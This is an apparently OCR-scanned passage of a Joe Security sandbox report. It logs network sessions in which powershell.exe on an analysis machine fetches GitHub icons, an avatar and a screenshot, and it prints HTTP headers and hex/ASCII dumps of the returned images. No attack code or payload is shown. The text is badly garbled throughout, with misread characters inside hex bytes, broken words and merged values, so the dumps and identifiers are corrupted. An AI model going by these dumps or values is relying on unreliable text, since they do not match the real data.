Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 35 2e 33 20 31 35 2e 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31
34 2e 35 20 30 48 2e 38 61 2e 38 38 2e 38 38 20 30 20 30 20 30 2d 2e 38 2e 39 76 31 33 2e 36 61 2e 38 38 2e 38 38 20
30 20 30 20 30 20 2e 38 2e 39 68 37 2e 33 76 2d 36 68 2d 32 56 37 2e 31 68 32 56 35 2e 34 61 32 2e 38 37 20 32 2e 38
37 20 30 20 30 20 31 20 32 2e 35 2d 33 2e 31 68 2e 35 61 31 30 2e 38 37 20 31 30 2e 38 37 20 30 20 30 20 31 20 31 2e
38 2e 31 76 32 2e 31 68 2d 31 2e 33 63 2d 31 20 30 2d 31 2e 31 2e 35 2d 31 2e 31 20 31 2e 31 76 31 2e 35 68 32 2e 33
6c 2d 2e 33 20 32 2e 33 68 2d 32 76 35 2e 39 68 33 2e 39 61 2e 38 38 2e

Data Ascii: <svg xmlns="http://www.w3.0rg/2000/svg" viewBox="0 0 15.3 15.4"><path d="M14.5 0H.8a.88.88 0 0 O-.
8.9v13.6a.88.88 0 0 0 .8.9h7.3v-6h-2V7.1h2V5.4a2.87 2.87 0 0 1 2.5-3.1h.5a10.87 10.87 0 0 1 1.8.1v2.1h-1.3¢-1 0-1.1.5-
1.1 1.1v1.5h2.3I-.3 2.3h-2v5.9h3.9a.88.

Destinati
Destination IP estination Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /ampinsk?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:36 UTC 1035

2022-04-20 13:07:36 UTC 1036

2022-04-20 13:07:36 UTC 1038

Session ID Source IP
110 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:43 UTC 4187

2022-04-20 13:07:43 UTC 4187

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49869

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 1748

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/jpeg

ETag: "c82759816ac9fb2f6cc4f5c93a65672c15971604621be3a07bel3a5010341352"
Last-Modified: Mon, 20 Jul 2020 15:16:50 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-ld: DF1A:B993:14F3E:1D8C1:625E2B3C
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6922-MXP

X-Cache: HIT

X-Cache-Hits: 24

X-Timer: S1650460057.859486,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 1c05137e0c9blafcadf28alff5873aab781ab726
Expires: Wed, 20 Apr 2022 13:12:36 GMT

Source-Age: 121436

Vary: Authorization,Accept-Encoding

Data Raw: ff d8 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a Oc 14 0d Oc Ob Ob Oc 19 12 13 0f 14 1d 1a 1f 1e
1d 1a 1c 1c 20 24 2e 27 20 22 2¢ 23 1c 1c 28 37 29 2¢ 30 31 34 34 34 1f 27 39 3d 38 32 3¢ 2e 33 34 32 01 09 09 09 Oc
0b Oc 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
32323232 323232323232 3232323232 323232323232 ffcO 00 11 08 00 40 00 40 03 01 22 00 02 11 01 03 11
01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a Ob 10 00 02 01 03 O
302 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 al 08 23 42 bl
11552 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a

Data Ascii: $.' ",#(7),01444'9:82<.3422!|77?7??7?77777??7?7??7777?7?77?777?7??77?77777??7??@@")!lAQ
a"q2#BR$3br%6&!()*

Data Raw: 75 1d 32 47 e5 5c ce ab a8 eb 97 24 45 7f a9 43 2d be 43 34 50 46 06 5 f4 dc 4d 3f ¢5 b6 32 c0 c9 73 2e a0
4aca d8 63 2a af 2d 8e 38 e0 74 15 cc da ca 2c 24 67 bf cc 96 4c c9 be 58 94 fc a0 93 d0 67 af d2 ba €3 18 b7 79 1e 7d
49 54 b7 2c Oc bd 27 4b 92 6 ea 4f 29 55 9¢ 29 2a 18 e3 d3 fc 6b d5 2c ed 24 b1 fO fd bd bb 05 12 84 2¢ d8 €9 b8 9c d7
9f e8 11 dd a6 b2 27 92 16 f2 a2 2c 5d b1 b5 40 00 f4 af 44 bf 9f 65 9a 16 21 4f 96 32 09 c7 6a e4 c5 cb dc 3b f0 31 7 ca
3a 64 be 79 99 db 23 33 1f 97 dO e0 0f €9 5d 1e 99 3a c5 7e 80 9c 06 f9 4d 73 1a 08 Of 6b 23 82 39 62 72 3a 75 23 fa 55
e8 e6 3e 76 e0 7e 65 6e 7e b5 ¢l 19 72 ¢9 33 d2 9c 79 a2 e2 73 5e 3a 94 68 1f 10 ac f5 65 04 47 2a 2b 4a 07 f1 Oe 51 c7
e2 bc 57 4b a8 cf 1f 9¢c 67 04 1c 47 92 40 c6 48 ea 7f

Data Ascii: U2G\$EC-C4PFM?2s.Jc*-8t,$gLXgy}IT,' KO)U)*k,$,',]@De!02j;1:dy#3]:~Msk#9br:u#U>v~en~r3ys~:
heG*+JQWKgG@H

A Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/icons/footer/youtube.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 433

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "2c8611157e876c00381ff2c5dc1059al"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 3070

X-Served-By: cache-iad-kjyo7100166-1AD, cache-mxp6934-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 2, 3

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 75ab50620573152a8c403fb52975f98fc1a9a387
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kBytes

Timestam
P transferred

2022-04-20 13:07:43 UTC 4188

Session ID Source IP
111 192.168.2.4
. kBytes
Ti t
fmestamp transferred

2022-04-20 13:07:43 UTC 4188

2022-04-20 13:07:43 UTC 4188

2022-04-20 13:07:43 UTC 4189

Session ID Source IP

112 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:43 UTC 4189

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49870

Direction

ouT

Source Port

49871

Direction

ouT

Data

Data Raw: 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 39 2e 31 37 20 31 33 2e 36 22 3e 3c 70 61 74 68 20 64 3d 22 4d
31 38 2e 37 37 20 32 2e 31 33 41 32 2e 34 20 32 2e 34 20 30 20 30 20 30 20 31 37 2e 30 39 2e 34 32 43 31 35 2e 35 39
20 30 20 39 2e 35 38 20 30 20 39 2e 35 38 20 30 61 35 37 2e 35 35 20 35 37 2e 35 35 20 30 20 30 20 30 2d 37 2e 35 2e
34 41 32 2e 34 39 20 32 2e 34 39 20 30 20 30 20 30 20 2e 33 39 20 32 2e 31 33 20 32 36 2e 32 37 20 32 36 2e 32 37 20
30 20 30 20 30 20 30 20 36 2e 38 61 32 36 2e 31 35 20 32 36 2e 31 35 20 30 20 30 20 30 20 2e 33 39 20 34 2e 36 37 20
32 2e 34 33 20 32 2e 34 33 20 30 20 30 20 30 20 31 2e 36 39 20 31 2e 37

Data Ascii: <svg xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 19.17 13.6"><path d="M18.77 2.13A2.42.4000
17.09.42C15.59 0 9.58 0 9.58 0a57.55 57.55 0 0 0-7.5.4A2.49 2.49 0 0 0 .39 2.13 26.27 26.27 0 0 0 0 6.8a26.15 26.15 0
00.394.672432.430001.691.7

Destination IP LWL Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/icons/footer/linkedin.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 245

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "ch0b17537194c77c2e788e803b548863"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 6341

X-Served-By: cache-iad-kjyo7100082-1AD, cache-mxp6972-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 9

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-1D: 86719e5e065c3e114b5dd25b24927cc7e00c0c9b

Data Raw: 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 39 20 31 38 22 3e 3¢ 70 61 74 68 20 64 3d 22 4d 33 2e 39 34 20
3241322032 203020 3120 31 20 32 20 30 61 32 20 32 20 30 20 30 20 31 20 31 2e 39 34 20 32 7a 4d 34 20 35 2e 34
38 48 30 56 31 38 68 34 7a 6d 36 2e 33 32 20 30 48 36 2e 33 34 56 31 38 68 33 2e 39 34 76 2d 36 2e 35 37 63 30 2d 33
2e 36 36 20 34 2e 37 37 2d 34 20 34 2e 37 37 20 30 56 31 38 48 31 39 76 2d 37 2e 39 33 63 30 2d 36 2e 31 37 2d 37 2e
30 36 2d 35 2e 39 34 2d 38 2e 37 32 2d 32 2e 39 31 7a 22 20 66 69 6¢ 6¢ 3d 22 72 67 62 28 31 34 39 2c 20 31 35 37 2¢
20 31 36 35 29 22 2f 3e 3c 2f 73 76 67 3e

Data Ascii: <svg xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 19 18"><path d="M3.94 2A2201120a2200 1
1.94 2zM4 5.48H0V18h4zm6.32 0H6.34V18h3.94v-6.57¢0-3.66 4.77-4 4.77 0V18H19v-7.93c0-6.17-7.06-5.94-8.72-2.912"
fill="rgb(149, 157, 165)"/></svg>

Destination IP SR Process
Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/icons/footer/github-mark.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:43 UTC 4190

2022-04-20 13:07:43 UTC 4190

Session ID Source IP
113 192.168.2.4
. kBytes
Ti t
tmestamp transferred

2022-04-20 13:07:43 UTC 4191

2022-04-20 13:07:43 UTC 4191

2022-04-20 13:07:43 UTC 4192

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49872

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 701

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "0d73b144641217a5177a9898fb786529"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 5644

X-Served-By: cache-iad-kjyo7100151-IAD, cache-mxp6937-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 11

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 44298ac01db6b167a608e7be703aec9a0420d9f7

Data Raw: 3c 73 76 67 20 68 65 69 67 68 74 3d 22 32 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77
33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 77 69 64 74
68 3d 22 32 30 22 3e 3c 70 61 74 68 20 66 69 6¢ 6¢ 3d 22 72 67 62 28 31 34 39 2c 20 31 35 37 2¢ 20 31 36 35 29 22 20
64 3d 22 4d 38 20 30 43 33 2e 35 38 20 30 20 30 20 33 2e 35 38 20 30 20 38 63 30 20 33 2e 35 34 20 32 2e 32 39 20 36
2e 35 33 20 35 2e 34 37 20 37 2e 35 39 2e 34 2e 30 37 2e 35 35 2d 2e 31 37 2e 35 35 2d 2e 33 38 20 30 2d 2e 31 39 2d
2e 30 31 2d 2e 38 32 2d 2e 30 31 2d 31 2e 34 39 2d 32 2e 30 31 2e 33 37 2d 32 2e 35 33 2d 2e 34 39 2d 32 2e 36 39 2d
2e 39 34 2d 2e 30 39 2d 2e 32 33 2d 2e 34 38 2d 2e 39 34 2d 2e 38 32

Data Ascii: <svg height="20" xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 16 16" width="20"><path fill="rgb(149,
157, 165)" d="M8 0C3.58 0 0 3.58 0 8¢c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-
.49-2.69-.94-.09-.23-.48-.94-.82

Destination IP EULCRIE Process
Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/home/pr-screen.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 34663

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Fri, 02 Oct 2020 15:25:28 GMT

ETag: "a99e1441ee318a33716a0eaf7abch9la”

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 3093

X-Served-By: cache-iad-kjyo7100046-1AD, cache-mxp6949-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: b403b30a27e6dfc7a59afcf9e881d5cdde2ef147

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 78 00 00 09 aa 08 03 00 00 00 b5 83 92 55 00 00
00 42 50 4c 54 45 ff ff ff el e4 e7 ea ec ee ca cd d0 a4 a8 ac 91 93 95 b7 bc ¢l 40 3e 42 23 24 2a 7c 81 88 2 {8 ff 03 02
02 62 58 55 6a 73 7d 90 cc 8c 2e a4 4f 28 a7 44 Oc 6b d8 63 al e7 be 93 68 d1 ac 94 9c 79 49 28 cd 43 c6 00 00 86 €0
49 44 41 54 78 01 ec c1 81 00 00 00 00 80 a0 fd a9 17 a9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 80 d9 3b e3 3d f5 51 1d 8a 37 10 00 5a 78 ff d7 bd 3f 9d ee 46 d2 63 23 ae ee ce fd
94 f3 d7 38 a6 34 06 f9 36 06 4a ff 15 d1 8f dc f2 b2 dc 4b 47 60 a3 19 e9 2e 92 9e 03 87 €8 97 d7 14 53 ce e5 2b 01 %e
5a 9d 73 f0 25 b0 5b f1 b0 fO cc el 8f d8 9f f5 09 c5 1f 23 bl

Data Ascii: PNGIHDRxUBPLTE@>B#$*|bXUjs}.O(Dkchyl(CIDATX;=Q7Zx?Fc#846IKG".S+Zs%[#
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:43 UTC 4193 IN
2022-04-20 13:07:43 UTC 4195 IN
2022-04-20 13:07:43 UTC 4196 IN
2022-04-20 13:07:43 UTC 4198 IN
2022-04-20 13:07:43 UTC 4199 IN
2022-04-20 13:07:43 UTC 4200 IN
2022-04-20 13:07:43 UTC 4202 IN
2022-04-20 13:07:43 UTC 4203 IN
2022-04-20 13:07:43 UTC 4204 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 84 35 65 c5 33 0b bc e2 1b 94 c¢7 03 15 8e 66 da a0 42 67 20 9e le f7 b5 60 fc be 83 cb 47 f8 04 bc e2 ad 16
7d 1a bc e2 e6 d9 79 db 82 65 44 c4 ee 97 b0 e3 56 5d 5a 1a ee 2b 67 01 7d 2b fa Ob 5d d1 35 1d ca ed 2a ad b1 13 b5
87 97 cb 5b e0 5d c3 2b 66 b7 f3 b6 38 13 de 8b 29 76 23 a6 2a 62 68 a4 a6 c0 31 d4 7c ff 53 7d el b9 33 e2 76 37 ca fO
1b af 8e 28 ae af ed d1 08 78 db c3 59 c9 73 cd 87 b1 9a c5 c2 53 e4 2a c¢3 50 5b a4 40 cb e2 62 3d c0 bb f6 9e 72 56 55
d9 dc 15 45 a9 3c c9 17 bb e0 96 3f 4a bb 5d b9 29 74 a7 ca c5 bb 9b 2f 59 da fa 28 78 d3 df 7b f3 6¢ dd fe 94 59 c5 00
11 41 cc 33 4b 44 e4 1c 66 bf 48 e7 e7 bf dc d8 b8 fb 12 b5 e8 96 ¢5 73 06 09 ad e5 68 7e f8 7c 35 30 17 70 5d 40 52 9b
4012 a8 30 8¢ 81 d7 c1 db 88 el 2e 93 el 9a 15 de 59 69 c8

Data Ascii: 5e3fBg ‘G}yeDV]Z+g}+]5*[|+f8)v#*bh1|S}3v7(xYsS*P[@b=rVUE<?J))t/Y (x{IYA3KDfHsh~|50p] @R@0.Yi

Data Raw: af 6f a6 a2 05 de f1 2d 1f 51 62 1c 67 c¢2 7b b1 4a 03 56 32 6a bc 11 d4 78 b3 51 e3 85 8a 4d 21 2b 8c d6 78
fd 3f af f1 e6 88 75 56 7a d5 27 26 fd 7e 76 60 31 d9 39 78 9b 1c 5¢c 5b 09 cc d1 d3 bf 06 5e 3b 06 66 31 9a 70 bf 8c 64 bc
21 42 d1 2b 8e 8e 83 97 9b a9 91 8¢ 17 b6 5f 5e ¢3 f3 4c 78 2f 22 de 4e e5 3a ab fa al 55 0d 58 31 d4 4d 44 83 e0 b5 57
359868 ce ch 6b 72 72 99 80 47 11 b7 8¢ aa 0d 04 ec 01 78 el c2 b4 ef 83 37 89 77 c3 72 fc 18 91 64 7 Ob ae f1 62 16
0f 77 d6 38 78 cb 8f 6e 7c 14 75 2f dd 10 78 81 65 7b 09 cf 61 26 bc d7 aa 34 64 2d 95 78 8e ac e3 25 65 c4 10 bc 58 be
€6 8e 57 18 bc 75 60 1d ef 00 9a 87 a0 63 6¢ 9a €8 a4 ea e0 f4 62 32 03 bc 55 52 e5 cf 81 97 4c f0 56 e5 ed b0 58 22 f2
fe 3a de 68 83 17 38 3a 0a 5e 2c b2 e7 d6 be 09 de 78

Data Ascii: 0-Qbg{JV2jxQM!+x?uVz'&~v 19x\[";f1pd!B+_~Lx/"N:UX1MDW5hkrrGx7wrdbw8xn|u/xe{a&4d-x%eXWu'c
Ib2URLVX":h8:A,x

Data Raw: 24 bb 31 f0 2e el 08 2d Oc 5e 2d 36 a3 84 09 89 cc ed 7e c1 19 2f 3e 2a b9 11 47 df 00 2f 1d 1f fb 43 36 78 el
b6 e7 4a 85 f4 91 c8 2a b8 b9 86 77 56 1a €0 f3 dO a8 2a 28 01 fO 2e ae a9 c1 60 80 b7 9b 80 53 65 54 08 bc b0 28 f0 62
58 25 6f 6d 61 98 48 5b 24 c3 22 64 68 a0 3f ba a8 39 15 6¢ 36 c0 0b b1l d2 96 65 Oc bc d2 80 b8 69 81 57 a2 84 e3 88 55
60 44 ec 7e 51 35 5e bb dd 30 e6 €8 1b e0 8d 87 b9 35 64 88 c1 2b 5a 63 53 2a e0 d1 ed 8e 8f 56 c0 9f Ob 24 bc d7 11

2e e2 1a b5 06 b0 09 60 71 Ob 00 af 1a 12 8d 16 0d 0d a4 50 37 51 e2 45 2b a6 be c5 88 1c a7 c¢7 c1 9a a2 b5 fd 64 8b c6
26 87 c8 8238 al 1d db f1 19 72 21 bc 07 ba 0d de 85 5a 06 31 34 c0 Ob a2 21 01 c5 e0 c5 51 c2 1f 11 8a 38 a3 90 d9 fd
82 33 5e dc 6e Oa 6e d0 d1 41 fO e2 c7 fe 84 01 fO 8a 9c

Data Ascii: $1.-"-6~/>*G/C6xJ*wV*(.’SeT(bX%omaH[$"dh?916eiWU D~Q5"05d+ZcS*V$. qP7QE+d&8r!Z14!1Q83"nnA

Data Raw: 86 b7 5 45 8e 59 7a 27 5a Oc d9 9a db e8 ac f8 b8 b1l 64 62 37 8b 6e 16 7c 6f 51 8e bb 81 94 73 af 07 4c 09
69 4d 20 d7 a7 33 70 00 37 d1 9a 8f b4 db 26 b1 7b 6 3d fO ca ee 29 86 ac d5 a5 c3 26 63 4f cf 9e d3 0d de 1b bc 56 96
b2 72 02 5e da b5 fd 4f fb 29 f0 a3 24 d3 0f 71 ce f1 03 7d b5 8a 7a 3b 43 56 24 d5 af 83 37 05 fc ff 79 05 6f 55 8c be fd
22 04 af 1e 68 3c 05 6f cc c1 87 ce 35 09 21 af c9 a5 2f 45 d5 d2 a2 1d bc al 8c 8f 6d 7e c0 3c 6f 28 10 00 69 Of aa 54 37
81 98 24 b6 50 38 e7 10 95 59 62 75 9a 88 42 Oe 44 cd 67 d4 e4 c8 1b a8 11 69 ce 44 94 ea 00 98 b2 74 8c d5 24 69 31
1d 85 8b 05 44 12 95 6b 5d 3b a6 72 50 91 b4 9a f2 39 74 f0 6a 6f cO 54 08 e0 7d de c2 3b 4f b0 26 35 52 fc 1b 23 64 4f
35 72 1f 15 bb 51 b7 28 c0 6d 6 04 03 1d bc 4c 94 cb

Data Ascii: EYZ'Zdb7n|oQsLiM 3p7&{=)&cOVr*0)$q}z;CV$7yoU"h<o5!/Em~<o(iT7$P8YbuBDgiDt$i1DK];rP9tjoT};
O&5R#dO5rQ(mL

Data Raw: 84 33 17 60 16 c1 41 b0 04 63 05 da da d6 21 3f 3f ad d6 62 3a 6¢ 27 5e 26 7e 00 bc f7 51 03 f7 cb Oc 54 91
2b ce 25 ae 4a 6d 04 af b8 75 2e bd Oc de 9a 88 a6 21 78 31 24 78 15 c1 51 83 ef 92 6b e0 4d 05 7f b2 ea 02 78 el 97 9¢c
cf 84 82 c0O b8 8a 10 c5 e7 e0 45 a2 1e 61 fe 08 de f4 06 78 55 56 cd 32 de dd 7a d3 04 bc 38 5c 38 07 ef 87 33 5e 6¢ 4e
7df4 7c 19 bc 76 7e 9c 65 bc 02 c0 7c 2¢ e3 85 ef f4 0a 78 1d 60 37 00 ef 1a d0 28 e3 05 26 17 1e 80 97 60 75 Oe 5e 98
29 8d c6 c7 ce ce 32 06 2f 1a 2c b2 09 7b 8b a9 47 f0 32 02 bf c1 fb de cb b5 06 d8 d6 4a 68 a9 45 c3 27 Ob de 77 8e la
12 6e 22 Oc c1 4b 28 82 97 56 53 f0 Oe e6 cd c1 8b 43 de 18 2b 10 d4 c5 da 47 eb c4 Ob e0 45 de 1b 27 67 bc 7c e9 8¢
d7 8e 02 78 47 c7 ¢5 68 80 c6 €0 c5 a7 13 31 cd 84 98 4e ce

Data Ascii: 3'Ac!??b:I""&~QT+%JImu.!x1$xQkMxEaxUV2z8\83"IN}v~e|,x 7(& u”)2/,{G2IhE'wn"K(VSC+GE'g|xGh1N

Data Raw: 94 3e aa 6f 46 75 cb fd c1 92 df cc 78 al 7e 4b Oc c2 a8 ¢7 71 54 21 30 6a 10 9a 06 12 f7 79 dd c2 ad 06 7c
7d d8 7f 51 37 78 6f dd 7f de fd d8 34 23 27 c0 3b 19 36 d7 ff bl 6b 07 aa 6d c3 50 18 46 af af 3b 43 04 95 {7 fe 4f bb 85
76 1d 5b b6 3a a3 b2 a2 55 e7 60 0f 58 db 12 7e e0 8b 1a 1c e7 e0 e9 e5 b9 8f a7 cb 03 Oe bc ¢2 2b be ¢2 5b 3f fc 54 ¢3
0f c7 el fd 67 6b 9c 84 ed 97 87 36 94 b7 67 19 94 57 77 a3 fc 3d 9e 19 59 Of fe eb e4 f0 66 9c 85 5¢ 9f be 5b 62 36 c2
2b bc 43 a8 7b 7b 8d c2 5b 03 5a 1b a0 Oc ca ab bb 51 6 c1 38 f0 22 bc ¢4 67 b7 ed 83 5a 03 da 1b a0 Oc ca ab bb 51 ea
3e a6 80 71 cb 7b e6 ab 22 26 b0 f8 a0 81 b9 8¢ 19 86 c2 a3 b3 eb ¢3 86 af 5b Oc Oa €9 3d f3 55 11 d3 a8 fb 70 6a 9c 0d
caeb 3f af f7 db f5 76 df 7c cb f9 ca cd f5 3 be eb

Data Ascii: >0Fux~KqT!0jy|}Q7x04#';6kmPF;COV[:U"X~+[?Tgk6gWw=Yf\[b6+C{{[ZQ8"9ZQ>a{"&[=Upj?V|

Data Raw: cb 37 09 1b ¢8 47 8d de 50 c5 7d 52 c4 7c d8 a8 4c 03 2f f9 77 aa 6a 31 db c6 f5 65 28 00 92 ab 51 5b dd b2
ad b2 02 c5 f4 ea 2c fe 7a fa 36 f7 3f 97 76 Ob 61 d6 8a 77 d3 ac 66 9a cd 07 ef 81 4e cd 98 42 66 85 7c ba cf 17 72 a8 d1
d5 18 bc b5 a3 31 ¢7 32 9a 3d e3 aa d8 95 7d 1f bc 20 ae 83 b7 a8 0b 90 ef b2 eb 54 00 de e2 fd 19 19 7c 95 76 62 2c e6
€9 e6 7d 55 Ob 9b 24 81 c0 02 29 78 77 26 30 da fb 7b 3 d4 2c ff 14 78 fb 5e 5a 56 35 95 52 4b c3 9b c5 ac a9 d4 42 ba
46 42 af 2f 3b 63 f1 5a b7 77 2f 6¢ 6a 4c 85 d6 15 cb a5 93 9a 22 3a ad d4 02 b7 14 31 2b a5 74 07 af 98 31 el 73 b0 fd
65 8d 66 3b 27 9d 3d 54 72 1f 1f b6 74 16 59 4f 5f fc 8d 3e 05 bc 61 46 97 84 af 37 a8 ef e2 fb fe ca Oa 5e 56 a9 45 d4 58
95 6a d9 3e 88 20 60 33 2e a5 60 54 b4 5f aa 60 bd

Data Ascii: 7GP}R|L/wjle(Q[,z6?vawfNBf|r12=} T|vb,JU$)xw&0{,x"ZV5SRKBFB/;cZw/ljL":1+t1sef;=TrtYO_>aF7AVEXj> '3
e

Data Raw: 22 1f 6a b8 4b c1 b5 €0 bd 6d 7d 06 fO de 72 17 05 30 ef f0 a3 5d 2f 53 c2 69 1f 1b ef 81 77 81 6e 31 0d 57 8f
730 22 f4 71 8e 42 b8 2c f7 35 89 al fb b5 96 87 2a 5e 31 6b 4b c3 fd 29 cc cf 3e ab 61 50 df 71 fO 1e 4f a2 48 2a 5e 68
6 75 da 37 b9 e2 8d 90 b5 43 9d 76 cO 2b 5b 7e f8 62 f0 ab c8 97 7c 0d 62 05 1e ff a9 06 73 25 f2 ec 39 e5 3c de 10 ee
6¢ 97 63 bf 12 b9 07 af 77 d8 a4 e2 45 38 fc 72 60 1e 88 62 26 df b9 ce d0 f6 Oa de 67 00 af 73 77 2b 2f 7c 6¢ 35 bd 4a
